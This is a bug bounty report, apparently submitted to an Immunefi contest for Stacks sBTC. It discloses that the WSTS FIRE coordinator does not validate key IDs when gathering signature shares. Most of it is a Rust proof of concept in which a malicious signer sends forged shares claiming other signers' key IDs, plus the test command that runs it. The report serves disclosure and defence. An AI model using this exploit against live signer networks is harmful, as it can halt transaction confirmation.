#41202 [BC-Insight] A malicious signer can force a failure of the signature round by providing a key ID they don't own
Submitted on Mar 12th 2025 at 11:36:50 UTC by @christ0s for Attackathon | Stacks II
Report ID: #41202
Report Type: Blockchain/DLT
Report severity: Insight
Target: https://github.com/stacks-network/sbtc/blob/immunefi_attackaton_1.0/Cargo.toml#L31
Impacts:
Network not being able to confirm new transactions (total network shutdown)
Description
Brief/Intro
A malicious signer can disrupt transaction signing by submitting signature shares claiming key IDs they don't actually own. The FIRE
coordinator in the WSTS
library lacks key ID
validation in the gather_sig_shares
function, accepting signature shares for ANY KEY ID without verification, while properly validating key IDs during nonce collection.
This inconsistency allows an attacker to submit signature shares for keys belonging to other signers, causing signature aggregation to fail with crypttographical errors and preventing the creation of valid Bitcoin transactions.
Vulnerability Details
The root cause is an inconsistency in validation between two functions in the FIRE coordinator's implementation:
The
gather_nonces
function properly validates key IDs:
for key_id in &nonce_response.key_ids {
if let Some(key_ids) = self.config.signer_key_ids.get(&nonce_response.signer_id) {
if key_ids.contains(key_id) {
nonce_info.nonce_recv_key_ids.insert(*key_id);
} else {
warn!("Key id {} not in signer key ids {:?}", key_id, key_ids);
}
}
}
However, the
gather_sig_shares
function has no equivalent validation
This validation gap allows a malicious signer to:
Claim ownership of key IDs belonging to other signers
Submit signature shares with incorrect cryptographic material for those keys
Cause signature aggregation to fail when the coordinator attempts to combine the signatures
Proof of Concept
Add the following code to transaction_signer.rs
to demonstrate the attack:
should_pop_state_machine = false;
state_machine_id
}
};
// first send the normal message
// Process the message in the signer state machine.
let response = self
.relay_message(
&state_machine_id,
msg.id,
msg_public_key,
None,
&msg.inner,
&chain_tip.block_hash,
)
.await;
// Modified attack logic to test key ID validation
static mut REQUEST_COUNTER: u32 = 0;
let should_attack_request = unsafe {
REQUEST_COUNTER += 1;
// Attack more frequently (every other request) to ensure we hit the test case
if REQUEST_COUNTER % 2 == 0 {
println!("\n!!! =============================================");
println!("!!! KEY ID VALIDATION ATTACK TRIGGERED (Attack #{}) !!!", REQUEST_COUNTER / 2);
println!("!!! =============================================\n");
true
} else {
false
}
};
// Attack every other request to demonstrate the vulnerability
if should_attack_request {
// Wait for our legitimate response to be processed first
tokio::time::sleep(std::time::Duration::from_millis(100)).await;
// Get our signer ID - for a real PoC we could determine this dynamically
let our_signer_id = 1; // Using a simple ID for the demo
// Use a wider range of key IDs to increase chances of hitting the vulnerability
// Including key ID 0 which is commonly used in tests
let stolen_key_ids = vec![0, 1, 2, 3, 4, 5, 6, 7, 8, 9];
use p256k1::scalar::Scalar;
use wsts::common::SignatureShare;
use wsts::net::Message as WstsNetMessage;
use wsts::net::SignatureShareResponse;
println!("\n!!! KEY ID VALIDATION VULNERABILITY !!!");
println!("!!! Signer {} attempting to steal key IDs: {:?} !!!", our_signer_id, stolen_key_ids);
println!("!!! VULNERABILITY: gather_sig_shares() has no key ID validation !!!\n");
// Use a very distinctive value that will be easily spotted in logs
let z_i = Scalar::from(0xBAAAAAAD_u32);
// Create a malicious signature share claiming key IDs from another signer
let malicious_share = SignatureShare {
id: our_signer_id,
z_i,
key_ids: stolen_key_ids.clone(),
};
// Create a new signature share response
let malicious_response = SignatureShareResponse {
dkg_id: request.dkg_id,
sign_id: request.sign_id,
sign_iter_id: request.sign_iter_id,
signer_id: our_signer_id,
signature_shares: vec![malicious_share],
};
println!("!!! Sending malicious signature share with z_i=0xBAAAAAAD !!!");
println!("!!! If this attack succeeds, the aggregate signature will fail !!!");
// Send the malicious message to replace our legitimate signature
let attack_msg = message::WstsMessage {
id: msg.id,
inner: WstsNetMessage::SignatureShareResponse(malicious_response),
};
let response2 = self.send_message(attack_msg, &chain_tip.block_hash).await;
println!("\n!!! Malicious message sent: {:?}", response2);
println!("!!! This would be rejected if gather_sig_shares() validated key IDs !!!");
println!("!!! ============================================= !!!\n");
}
// If the state machine is not a DKG verification state machine,
// then we should pop it from the cache already here since we
// are not interested in `SignatureShareResponse` messages.
// TODO: We keep DKG verification-related state machines around
// so that `verify_sender()` works. This is a bit of a hack.
if should_pop_state_machine {
self.wsts_state_machines.pop(&state_machine_id);
}
response?;
}
// === NONCE RESPONSE ===
WstsNetMessage::NonceResponse(request) => {
and run the test: RUST_BACKTRACE=FULL cargo test --package signer --test integration -- transaction_coordinator::sign_bitcoin_transaction_multiple_locking_keys --exact --show-output --nocapture
Was this helpful?